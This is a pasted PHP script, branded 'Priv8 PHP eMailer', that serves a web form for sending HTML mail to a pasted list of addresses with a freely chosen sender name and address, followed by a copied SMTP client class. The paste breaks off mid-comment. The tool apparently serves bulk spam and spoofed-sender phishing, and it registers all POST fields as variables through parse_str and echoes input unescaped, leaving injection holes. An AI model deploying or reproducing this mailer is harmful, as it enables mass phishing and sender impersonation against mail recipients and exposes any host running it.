· 9 years ago · Mar 28, 2017, 06:40 PM
1<?php
2
3function query_str($params){
4$str = '';
5foreach ($params as $key => $value) {
6$str .= (strlen($str) < 1) ? '' : '&';
7$str .= $key . '=' . rawurlencode($value);
8}
9return ($str);
10}
11function lrtrim($string){
12return stripslashes(ltrim(rtrim($string)));
13}
14
15
16if(isset($_POST['action'] ) ){
17
18$b = query_str($_POST);
19parse_str($b);
20$sslclick=lrtrim($sslclick);
21$action=lrtrim($action);
22$message=lrtrim($message);
23$emaillist=lrtrim($emaillist);
24$from=lrtrim($from);
25$reconnect=lrtrim($reconnect);
26$epriority=lrtrim($epriority);
27$my_smtp=lrtrim($my_smtp);
28$ssl_port=lrtrim($ssl_port);
29$smtp_username=lrtrim($smtp_username);
30$smtp_password=lrtrim($smtp_password);
31$replyto=lrtrim($replyto);
32$subject=lrtrim($subject);
33$realname=lrtrim($realname);
34$file_name=lrtrim($file);
35$urlz=lrtrim($urlz);
36$contenttype=lrtrim($contenttype);
37
38 $message = urlencode($message);
39 $message = ereg_replace("%5C%22", "%22", $message);
40 $message = urldecode($message);
41 $message = stripslashes($message);
42 $subject = stripslashes($subject);
43}
44
45
46?>
47
48<html>
49
50<head>
51
52<title>{*oo*}vs(o_o)</title>
53
54<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
55
56<style type="text/css">
57<!--
58.style1 {
59 font-family: Geneva, Arial, Helvetica, sans-serif;
60 font-size: 12px;
61}
62-->
63</style>
64<style type="text/css">
65<!--
66.style1 {
67 font-size: 10px;
68 font-family: Geneva, Arial, Helvetica, sans-serif;
69}
70-->
71</style>
72</head>
73<body bgcolor="#FFFFFF" text="#000000">
74<span class="style1">Priv8 PHP eMailer is created by MeGo<br>
75 <font color=\"#800000\">EG5-@hotmail.com</font></span>
76
77<form name="form1" method="post" action="" enctype="multipart/form-data">
78
79 <br>
80
81 <table width="100%" border="0" height="407">
82
83 <tr>
84
85 <td width="100%" colspan="4" bgcolor="#666666" height="36">
86
87 <b>
88
89 <font face="Arial" size="2" color="#FFFFFF"> SERVER SETUP</font></b></td>
90
91 </tr>
92 <tr>
93
94 <td width="10%" height="22" bgcolor="#E8E8E8">
95
96 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Login:</font></div>
97
98 </td>
99
100 <td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
101
102 <input type="text" name="smtp_username" value="<?=$smtp_username;?>" size="30">
103
104 </font></td>
105
106 <td width="31%" height="22" bgcolor="#E8E8E8">
107
108 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Pass:</font></div>
109
110 </td>
111
112 <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
113
114 <input type="password" name="smtp_password" value="<?=$smtp_password;?>" size="30">
115
116 </font></td>
117
118 </tr>
119 <tr>
120
121 <td width="10%" height="22" bgcolor="#E8E8E8">
122
123 <div align="right">
124 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
125
126 </td>
127
128 <td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
129
130 <input type="text" name="ssl_port" value="<?=$ssl_port;?>" size="5">
131 (optional)</font></td>
132
133 <td width="31%" height="22" bgcolor="#E8E8E8">
134
135 <div align="right">
136 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP Server
137 Smtp:</font></div>
138
139 </td>
140
141 <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
142
143 <input type="text" name="my_smtp" value="<?=$my_smtp;?>" size="30">
144
145 </font></td>
146
147 </tr>
148 <tr>
149
150 <td width="10%" height="22" bgcolor="#E8E8E8">
151
152 <p align="right">
153 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
154
155 <td width="18%" height="22" bgcolor="#E8E8E8">
156 <input type="checkbox" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
157
158 <td width="31%" height="22" bgcolor="#E8E8E8">
159
160 <p align="right">
161 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
162 After:</font></td>
163
164 <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
165
166 <input type="text" name="reconnect" value="<?=$reconnect;?>" size="5">
167 EMAILS</font></td>
168
169 </tr>
170 <tr>
171
172 <td width="100%" height="39" bgcolor="#E8E8E8" colspan="4">
173
174 <p align="center">
175 <font face="Arial" style="font-size: 9pt" color="#800000"><b>"</b> If
176 you dont have SMTP login, leave blank queries above <b>"</b></font></td>
177
178 </tr>
179
180 <tr>
181
182 <td width="10%" height="19">
183
184 </td>
185
186 <td width="18%" height="19"> </td>
187
188 <td width="31%" height="19">
189
190 </td>
191
192 <td width="41%" height="19"> </td>
193
194 </tr>
195
196 <tr>
197
198 <td width="100%" colspan="4" bgcolor="#666666" height="36">
199
200 <b>
201
202 <font face="Arial" size="2" color="#FFFFFF"> MESSAGE SETUP</font></b></td>
203
204 </tr>
205
206 <tr>
207
208 <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
209
210 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
211
212 Email:</font></div>
213
214 </td>
215
216 <td width="18%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
217
218 <input type="text" name="from" value="<?=$from;?>" size="30">
219
220 </font></td>
221
222 <td width="31%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
223
224 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
225
226 Name:</font></div>
227
228 </td>
229
230 <td width="41%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
231
232 <input type="text" name="realname" value="<?=$realname;?>" size="30">
233
234 </font></td>
235
236 </tr>
237 <tr>
238
239 <td width="10%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
240
241 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font></div>
242
243 </td>
244
245 <td width="18%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
246
247 <input type="text" name="replyto" value="<?=$replyto;?>" size="30">
248
249 </font></td>
250
251 <td width="31%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
252
253 <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
254 Email Priority:</font></td>
255
256 <td width="41%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
257
258 </font><select name="epriority" id="listMethod" onchange="showHideListConfig()">
259 <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >- Please Choose -</option>
260 <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
261 <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
262 <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
263 </select></td>
264
265 </tr>
266
267 <tr>
268
269 <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
270
271 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font></div>
272
273 </td>
274
275 <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
276
277 <input type="text" name="subject" value="<?=$subject;?>" size="90">
278
279 </font></td>
280
281 </tr>
282
283 <tr>
284
285 <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
286
287 </td>
288
289 <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
290
291 </font></td>
292
293 </tr>
294
295 <tr valign="top">
296
297<td colspan="3" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
298
299 <textarea name="message" cols="60" rows="10"><?=$message;?></textarea>
300
301 <br>
302
303 <input type="radio" name="contenttype" value="plain" >
304
305 Plain
306
307 <input type="radio" name="contenttype" value="html" checked>
308
309 HTML
310
311 <input type="hidden" name="action" value="send">
312
313 <input type="submit" value="Send Message">
314
315 </font></td>
316
317 <td width="41%" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
318
319 <textarea name="emaillist" cols="30" rows="10"><?=$emaillist;?></textarea>
320
321 </font></td>
322
323 </tr>
324
325 </table>
326
327</form>
328
329
330
331<?
332
333if ($action){
334 if (!$from && !$subject && !$message && !$emaillist){
335 print "<script>alert('Please complete all fields before sending your message.'); </script>";
336 die(); }
337
338class SMTP
339{
340 /**
341 * SMTP server port
342 * @var int
343 */
344 var $SMTP_PORT = 25;
345
346 /**
347 * SMTP reply line ending
348 * @var string
349 */
350 var $CRLF = "\r\n";
351
352 /**
353 * Sets whether debugging is turned on
354 * @var bool
355 */
356 var $do_debug; # the level of debug to perform
357
358 /**
359 * Sets VERP use on/off (default is off)
360 * @var bool
361 */
362 var $do_verp = false;
363
364 /**#@+
365 * @access private
366 */
367 var $smtp_conn; # the socket to the server
368 var $error; # error if any on the last call
369 var $helo_rply; # the reply the server sent to us for HELO
370 /**#@-*/
371
372 /**
373 * Initialize the class so that the data is in a known state.
374 * @access public
375 * @return void
376 */
377 function SMTP() {
378 $this->smtp_conn = 0;
379 $this->error = null;
380 $this->helo_rply = null;
381
382 $this->do_debug = 0;
383 }
384
385 /*************************************************************
386 * CONNECTION FUNCTIONS *
387 ***********************************************************/
388
389 /**
390 * Connect to the server specified on the port specified.
391 * If the port is not specified use the default SMTP_PORT.
392 * If tval is specified then a connection will try and be
393 * established with the server for that number of seconds.
394 * If tval is not specified the default is 30 seconds to
395 * try on the connection.
396 *
397 * SMTP CODE SUCCESS: 220
398 * SMTP CODE FAILURE: 421
399 * @access public
400 * @return bool
401 */
402 function Connect($host,$port=0,$tval=30) {
403 # set the error val to null so there is no confusion
404 $this->error = null;
405
406 # make sure we are __not__ connected
407 if($this->connected()) {
408 # ok we are connected! what should we do?
409 # for now we will just give an error saying we
410 # are already connected
411 $this->error = array("error" => "Already connected to a server");
412 return false;
413 }
414
415 if(empty($port)) {
416 $port = $this->SMTP_PORT;
417 }
418
419 #connect to the smtp server
420 $this->smtp_conn = fsockopen($host, # the host of the server
421 $port, # the port to use
422 $errno, # error number if any
423 $errstr, # error message if any
424 $tval); # give up after ? secs
425 # verify we connected properly
426 if(empty($this->smtp_conn)) {
427 $this->error = array("error" => "Failed to connect to server",
428 "errno" => $errno,
429 "errstr" => $errstr);
430 if($this->do_debug >= 1) {
431 echo "SMTP -> ERROR: " . $this->error["error"] .
432 ": $errstr ($errno)" . $this->CRLF;
433 }
434 return false;
435 }
436
437 # sometimes the SMTP server takes a little longer to respond
438 # so we will give it a longer timeout for the first read
439 // Windows still does not have support for this timeout function
440 if(substr(PHP_OS, 0, 3) != "WIN")
441 socket_set_timeout($this->smtp_conn, $tval, 0);
442
443 # get any announcement stuff
444 $announce = $this->get_lines();
445
446 # set the timeout of any socket functions at 1/10 of a second
447 //if(function_exists("socket_set_timeout"))
448 // socket_set_timeout($this->smtp_conn, 0, 100000);
449
450 if($this->do_debug >= 2) {
451 echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
452 }
453
454 return true;
455 }
456
457 /**
458 * Performs SMTP authentication. Must be run after running the
459 * Hello() method. Returns true if successfully authenticated.
460 * @access public
461 * @return bool
462 */
463 function Authenticate($username, $password) {
464 // Start authentication
465 fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
466
467 $rply = $this->get_lines();
468 $code = substr($rply,0,3);
469
470 if($code != 334) {
471 $this->error =
472 array("error" => "AUTH not accepted from server",
473 "smtp_code" => $code,
474 "smtp_msg" => substr($rply,4));
475 if($this->do_debug >= 1) {
476 echo "SMTP -> ERROR: " . $this->error["error"] .
477 ": " . $rply . $this->CRLF;
478 }
479 return false;
480 }
481
482 // Send encoded username
483 fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
484
485 $rply = $this->get_lines();
486 $code = substr($rply,0,3);
487
488 if($code != 334) {
489 $this->error =
490 array("error" => "Username not accepted from server",
491 "smtp_code" => $code,
492 "smtp_msg" => substr($rply,4));
493 if($this->do_debug >= 1) {
494 echo "SMTP -> ERROR: " . $this->error["error"] .
495 ": " . $rply . $this->CRLF;
496 }
497 return false;
498 }
499
500 // Send encoded password
501 fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
502
503 $rply = $this->get_lines();
504 $code = substr($rply,0,3);
505
506 if($code != 235) {
507 $this->error =
508 array("error" => "Password not accepted from server",
509 "smtp_code" => $code,
510 "smtp_msg" => substr($rply,4));
511 if($this->do_debug >= 1) {
512 echo "SMTP -> ERROR: " . $this->error["error"] .
513 ": " . $rply . $this->CRLF;
514 }
515 return false;
516 }
517
518 return true;
519 }
520
521 /**
522 * Returns true if connected to a server otherwise false
523 * @access private
524 * @return bool
525 */
526 function Connected() {
527 if(!empty($this->smtp_conn)) {
528 $sock_status = socket_get_status($this->smtp_conn);
529 if($sock_status["eof"]) {
530 # hmm this is an odd situation... the socket is
531 # valid but we are not connected anymore
532 if($this->do_debug >= 1) {
533 echo "SMTP -> NOTICE:" . $this->CRLF .
534 "EOF caught while checking if connected";
535 }
536 $this->Close();
537 return false;
538 }
539 return true; # everything looks good
540 }
541 return false;
542 }
543
544 /**
545 * Closes the socket and cleans up the state of the class.
546 * It is not considered good to use this function without
547 * first trying to use QUIT.
548 * @access public
549 * @return void
550 */
551 function Close() {
552 $this->error = null; # so there is no confusion
553 $this->helo_rply = null;
554 if(!empty($this->smtp_conn)) {
555 # close the connection and cleanup
556 fclose($this->smtp_conn);
557 $this->smtp_conn = 0;
558 }
559 }
560
561 /***************************************************************
562 * SMTP COMMANDS *
563 *************************************************************/
564
565 /**
566 * Issues a data command and sends the msg_data to the server
567 * finializing the mail transaction. $msg_data is the message
568 * that is to be send with the headers. Each header needs to be
569 * on a single line followed by a <CRLF> with the message headers
570 * and the message body being seperated by and additional <CRLF>.
571 *
572 * Implements rfc 821: DATA <CRLF>
573 *
574 * SMTP CODE INTERMEDIATE: 354
575 * [data]
576 * <CRLF>.<CRLF>
577 * SMTP CODE SUCCESS: 250
578 * SMTP CODE FAILURE: 552,554,451,452
579 * SMTP CODE FAILURE: 451,554
580 * SMTP CODE ERROR : 500,501,503,421
581 * @access public
582 * @return bool
583 */
584 function Data($msg_data) {
585 $this->error = null; # so no confusion is caused
586
587 if(!$this->connected()) {
588 $this->error = array(
589 "error" => "Called Data() without being connected");
590 return false;
591 }
592
593 fputs($this->smtp_conn,"DATA" . $this->CRLF);
594
595 $rply = $this->get_lines();
596 $code = substr($rply,0,3);
597
598 if($this->do_debug >= 2) {
599 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
600 }
601
602 if($code != 354) {
603 $this->error =
604 array("error" => "DATA command not accepted from server",
605 "smtp_code" => $code,
606 "smtp_msg" => substr($rply,4));
607 if($this->do_debug >= 1) {
608 echo "SMTP -> ERROR: " . $this->error["error"] .
609 ": " . $rply . $this->CRLF;
610 }
611 return false;
612 }
613
614 # the server is ready to accept data!
615 # according to rfc 821 we should not send more than 1000
616 # including the CRLF
617 # characters on a single line so we will break the data up
618 # into lines by \r and/or \n then if needed we will break
619 # each of those into smaller lines to fit within the limit.
620 # in addition we will be looking for lines that start with
621 # a period '.' and append and additional period '.' to that
622 # line. NOTE: this does not count towards are limit.
623
624 # normalize the line breaks so we know the explode works
625 $msg_data = str_replace("\r\n","\n",$msg_data);
626 $msg_data = str_replace("\r","\n",$msg_data);
627 $lines = explode("\n",$msg_data);
628
629 # we need to find a good way to determine is headers are
630 # in the msg_data or if it is a straight msg body
631 # currently I am assuming rfc 822 definitions of msg headers
632 # and if the first field of the first line (':' sperated)
633 # does not contain a space then it _should_ be a header
634 # and we can process all lines before a blank "" line as
635 # headers.
636 $field = substr($lines[0],0,strpos($lines[0],":"));
637 $in_headers = false;
638 if(!empty($field) && !strstr($field," ")) {
639 $in_headers = true;
640 }
641
642 $max_line_length = 998; # used below; set here for ease in change
643
644 while(list(,$line) = @each($lines)) {
645 $lines_out = null;
646 if($line == "" && $in_headers) {
647 $in_headers = false;
648 }
649 # ok we need to break this line up into several
650 # smaller lines
651 while(strlen($line) > $max_line_length) {
652 $pos = strrpos(substr($line,0,$max_line_length)," ");
653
654 # Patch to fix DOS attack
655 if(!$pos) {
656 $pos = $max_line_length - 1;
657 }
658
659 $lines_out[] = substr($line,0,$pos);
660 $line = substr($line,$pos + 1);
661 # if we are processing headers we need to
662 # add a LWSP-char to the front of the new line
663 # rfc 822 on long msg headers
664 if($in_headers) {
665 $line = "\t" . $line;
666 }
667 }
668 $lines_out[] = $line;
669
670 # now send the lines to the server
671 while(list(,$line_out) = @each($lines_out)) {
672 if(strlen($line_out) > 0)
673 {
674 if(substr($line_out, 0, 1) == ".") {
675 $line_out = "." . $line_out;
676 }
677 }
678 fputs($this->smtp_conn,$line_out . $this->CRLF);
679 }
680 }
681
682 # ok all the message data has been sent so lets get this
683 # over with aleady
684 fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
685
686 $rply = $this->get_lines();
687 $code = substr($rply,0,3);
688
689 if($this->do_debug >= 2) {
690 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
691 }
692
693 if($code != 250) {
694 $this->error =
695 array("error" => "DATA not accepted from server",
696 "smtp_code" => $code,
697 "smtp_msg" => substr($rply,4));
698 if($this->do_debug >= 1) {
699 echo "SMTP -> ERROR: " . $this->error["error"] .
700 ": " . $rply . $this->CRLF;
701 }
702 return false;
703 }
704 return true;
705 }
706
707 /**
708 * Expand takes the name and asks the server to list all the
709 * people who are members of the _list_. Expand will return
710 * back and array of the result or false if an error occurs.
711 * Each value in the array returned has the format of:
712 * [ <full-name> <sp> ] <path>
713 * The definition of <path> is defined in rfc 821
714 *
715 * Implements rfc 821: EXPN <SP> <string> <CRLF>
716 *
717 * SMTP CODE SUCCESS: 250
718 * SMTP CODE FAILURE: 550
719 * SMTP CODE ERROR : 500,501,502,504,421
720 * @access public
721 * @return string array
722 */
723 function Expand($name) {
724 $this->error = null; # so no confusion is caused
725
726 if(!$this->connected()) {
727 $this->error = array(
728 "error" => "Called Expand() without being connected");
729 return false;
730 }
731
732 fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
733
734 $rply = $this->get_lines();
735 $code = substr($rply,0,3);
736
737 if($this->do_debug >= 2) {
738 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
739 }
740
741 if($code != 250) {
742 $this->error =
743 array("error" => "EXPN not accepted from server",
744 "smtp_code" => $code,
745 "smtp_msg" => substr($rply,4));
746 if($this->do_debug >= 1) {
747 echo "SMTP -> ERROR: " . $this->error["error"] .
748 ": " . $rply . $this->CRLF;
749 }
750 return false;
751 }
752
753 # parse the reply and place in our array to return to user
754 $entries = explode($this->CRLF,$rply);
755 while(list(,$l) = @each($entries)) {
756 $list[] = substr($l,4);
757 }
758
759 return $list;
760 }
761
762 /**
763 * Sends the HELO command to the smtp server.
764 * This makes sure that we and the server are in
765 * the same known state.
766 *
767 * Implements from rfc 821: HELO <SP> <domain> <CRLF>
768 *
769 * SMTP CODE SUCCESS: 250
770 * SMTP CODE ERROR : 500, 501, 504, 421
771 * @access public
772 * @return bool
773 */
774 function Hello($host="") {
775 $this->error = null; # so no confusion is caused
776
777 if(!$this->connected()) {
778 $this->error = array(
779 "error" => "Called Hello() without being connected");
780 return false;
781 }
782
783 # if a hostname for the HELO was not specified determine
784 # a suitable one to send
785 if(empty($host)) {
786 # we need to determine some sort of appopiate default
787 # to send to the server
788 $host = "localhost";
789 }
790
791 // Send extended hello first (RFC 2821)
792 if(!$this->SendHello("EHLO", $host))
793 {
794 if(!$this->SendHello("HELO", $host))
795 return false;
796 }
797
798 return true;
799 }
800
801 /**
802 * Sends a HELO/EHLO command.
803 * @access private
804 * @return bool
805 */
806 function SendHello($hello, $host) {
807 fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
808
809 $rply = $this->get_lines();
810 $code = substr($rply,0,3);
811
812 if($this->do_debug >= 2) {
813 echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
814 }
815
816 if($code != 250) {
817 $this->error =
818 array("error" => $hello . " not accepted from server",
819 "smtp_code" => $code,
820 "smtp_msg" => substr($rply,4));
821 if($this->do_debug >= 1) {
822 echo "SMTP -> ERROR: " . $this->error["error"] .
823 ": " . $rply . $this->CRLF;
824 }
825 return false;
826 }
827
828 $this->helo_rply = $rply;
829
830 return true;
831 }
832
833 /**
834 * Gets help information on the keyword specified. If the keyword
835 * is not specified then returns generic help, ussually contianing
836 * A list of keywords that help is available on. This function
837 * returns the results back to the user. It is up to the user to
838 * handle the returned data. If an error occurs then false is
839 * returned with $this->error set appropiately.
840 *
841 * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
842 *
843 * SMTP CODE SUCCESS: 211,214
844 * SMTP CODE ERROR : 500,501,502,504,421
845 * @access public
846 * @return string
847 */
848 function Help($keyword="") {
849 $this->error = null; # to avoid confusion
850
851 if(!$this->connected()) {
852 $this->error = array(
853 "error" => "Called Help() without being connected");
854 return false;
855 }
856
857 $extra = "";
858 if(!empty($keyword)) {
859 $extra = " " . $keyword;
860 }
861
862 fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
863
864 $rply = $this->get_lines();
865 $code = substr($rply,0,3);
866
867 if($this->do_debug >= 2) {
868 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
869 }
870
871 if($code != 211 && $code != 214) {
872 $this->error =
873 array("error" => "HELP not accepted from server",
874 "smtp_code" => $code,
875 "smtp_msg" => substr($rply,4));
876 if($this->do_debug >= 1) {
877 echo "SMTP -> ERROR: " . $this->error["error"] .
878 ": " . $rply . $this->CRLF;
879 }
880 return false;
881 }
882
883 return $rply;
884 }
885
886 /**
887 * Starts a mail transaction from the email address specified in
888 * $from. Returns true if successful or false otherwise. If True
889 * the mail transaction is started and then one or more Recipient
890 * commands may be called followed by a Data command.
891 *
892 * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
893 *
894 * SMTP CODE SUCCESS: 250
895 * SMTP CODE SUCCESS: 552,451,452
896 * SMTP CODE SUCCESS: 500,501,421
897 * @access public
898 * @return bool
899 */
900 function Mail($from) {
901 $this->error = null; # so no confusion is caused
902
903 if(!$this->connected()) {
904 $this->error = array(
905 "error" => "Called Mail() without being connected");
906 return false;
907 }
908
909 $useVerp = ($this->do_verp ? "XVERP" : "");
910 fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
911
912 $rply = $this->get_lines();
913 $code = substr($rply,0,3);
914
915 if($this->do_debug >= 2) {
916 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
917 }
918
919 if($code != 250) {
920 $this->error =
921 array("error" => "MAIL not accepted from server",
922 "smtp_code" => $code,
923 "smtp_msg" => substr($rply,4));
924 if($this->do_debug >= 1) {
925 echo "SMTP -> ERROR: " . $this->error["error"] .
926 ": " . $rply . $this->CRLF;
927 }
928 return false;
929 }
930 return true;
931 }
932
933 /**
934 * Sends the command NOOP to the SMTP server.
935 *
936 * Implements from rfc 821: NOOP <CRLF>
937 *
938 * SMTP CODE SUCCESS: 250
939 * SMTP CODE ERROR : 500, 421
940 * @access public
941 * @return bool
942 */
943 function Noop() {
944 $this->error = null; # so no confusion is caused
945
946 if(!$this->connected()) {
947 $this->error = array(
948 "error" => "Called Noop() without being connected");
949 return false;
950 }
951
952 fputs($this->smtp_conn,"NOOP" . $this->CRLF);
953
954 $rply = $this->get_lines();
955 $code = substr($rply,0,3);
956
957 if($this->do_debug >= 2) {
958 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
959 }
960
961 if($code != 250) {
962 $this->error =
963 array("error" => "NOOP not accepted from server",
964 "smtp_code" => $code,
965 "smtp_msg" => substr($rply,4));
966 if($this->do_debug >= 1) {
967 echo "SMTP -> ERROR: " . $this->error["error"] .
968 ": " . $rply . $this->CRLF;
969 }
970 return false;
971 }
972 return true;
973 }
974
975 /**
976 * Sends the quit command to the server and then closes the socket
977 * if there is no error or the $close_on_error argument is true.
978 *
979 * Implements from rfc 821: QUIT <CRLF>
980 *
981 * SMTP CODE SUCCESS: 221
982 * SMTP CODE ERROR : 500
983 * @access public
984 * @return bool
985 */
986 function Quit($close_on_error=true) {
987 $this->error = null; # so there is no confusion
988
989 if(!$this->connected()) {
990 $this->error = array(
991 "error" => "Called Quit() without being connected");
992 return false;
993 }
994
995 # send the quit command to the server
996 fputs($this->smtp_conn,"quit" . $this->CRLF);
997
998 # get any good-bye messages
999 $byemsg = $this->get_lines();
1000
1001 if($this->do_debug >= 2) {
1002 echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
1003 }
1004
1005 $rval = true;
1006 $e = null;
1007
1008 $code = substr($byemsg,0,3);
1009 if($code != 221) {
1010 # use e as a tmp var cause Close will overwrite $this->error
1011 $e = array("error" => "SMTP server rejected quit command",
1012 "smtp_code" => $code,
1013 "smtp_rply" => substr($byemsg,4));
1014 $rval = false;
1015 if($this->do_debug >= 1) {
1016 echo "SMTP -> ERROR: " . $e["error"] . ": " .
1017 $byemsg . $this->CRLF;
1018 }
1019 }
1020
1021 if(empty($e) || $close_on_error) {
1022 $this->Close();
1023 }
1024
1025 return $rval;
1026 }
1027
1028 /**
1029 * Sends the command RCPT to the SMTP server with the TO: argument of $to.
1030 * Returns true if the recipient was accepted false if it was rejected.
1031 *
1032 * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
1033 *
1034 * SMTP CODE SUCCESS: 250,251
1035 * SMTP CODE FAILURE: 550,551,552,553,450,451,452
1036 * SMTP CODE ERROR : 500,501,503,421
1037 * @access public
1038 * @return bool
1039 */
1040 function Recipient($to) {
1041 $this->error = null; # so no confusion is caused
1042
1043 if(!$this->connected()) {
1044 $this->error = array(
1045 "error" => "Called Recipient() without being connected");
1046 return false;
1047 }
1048
1049 fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
1050
1051 $rply = $this->get_lines();
1052 $code = substr($rply,0,3);
1053
1054 if($this->do_debug >= 2) {
1055 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1056 }
1057
1058 if($code != 250 && $code != 251) {
1059 $this->error =
1060 array("error" => "RCPT not accepted from server",
1061 "smtp_code" => $code,
1062 "smtp_msg" => substr($rply,4));
1063 if($this->do_debug >= 1) {
1064 echo "SMTP -> ERROR: " . $this->error["error"] .
1065 ": " . $rply . $this->CRLF;
1066 }
1067 return false;
1068 }
1069 return true;
1070 }
1071
1072 /**
1073 * Sends the RSET command to abort and transaction that is
1074 * currently in progress. Returns true if successful false
1075 * otherwise.
1076 *
1077 * Implements rfc 821: RSET <CRLF>
1078 *
1079 * SMTP CODE SUCCESS: 250
1080 * SMTP CODE ERROR : 500,501,504,421
1081 * @access public
1082 * @return bool
1083 */
1084 function Reset() {
1085 $this->error = null; # so no confusion is caused
1086
1087 if(!$this->connected()) {
1088 $this->error = array(
1089 "error" => "Called Reset() without being connected");
1090 return false;
1091 }
1092
1093 fputs($this->smtp_conn,"RSET" . $this->CRLF);
1094
1095 $rply = $this->get_lines();
1096 $code = substr($rply,0,3);
1097
1098 if($this->do_debug >= 2) {
1099 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1100 }
1101
1102 if($code != 250) {
1103 $this->error =
1104 array("error" => "RSET failed",
1105 "smtp_code" => $code,
1106 "smtp_msg" => substr($rply,4));
1107 if($this->do_debug >= 1) {
1108 echo "SMTP -> ERROR: " . $this->error["error"] .
1109 ": " . $rply . $this->CRLF;
1110 }
1111 return false;
1112 }
1113
1114 return true;
1115 }
1116
1117 /**
1118 * Starts a mail transaction from the email address specified in
1119 * $from. Returns true if successful or false otherwise. If True
1120 * the mail transaction is started and then one or more Recipient
1121 * commands may be called followed by a Data command. This command
1122 * will send the message to the users terminal if they are logged
1123 * in.
1124 *
1125 * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
1126 *
1127 * SMTP CODE SUCCESS: 250
1128 * SMTP CODE SUCCESS: 552,451,452
1129 * SMTP CODE SUCCESS: 500,501,502,421
1130 * @access public
1131 * @return bool
1132 */
1133 function Send($from) {
1134 $this->error = null; # so no confusion is caused
1135
1136 if(!$this->connected()) {
1137 $this->error = array(
1138 "error" => "Called Send() without being connected");
1139 return false;
1140 }
1141
1142 fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
1143
1144 $rply = $this->get_lines();
1145 $code = substr($rply,0,3);
1146
1147 if($this->do_debug >= 2) {
1148 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1149 }
1150
1151 if($code != 250) {
1152 $this->error =
1153 array("error" => "SEND not accepted from server",
1154 "smtp_code" => $code,
1155 "smtp_msg" => substr($rply,4));
1156 if($this->do_debug >= 1) {
1157 echo "SMTP -> ERROR: " . $this->error["error"] .
1158 ": " . $rply . $this->CRLF;
1159 }
1160 return false;
1161 }
1162 return true;
1163 }
1164
1165 /**
1166 * Starts a mail transaction from the email address specified in
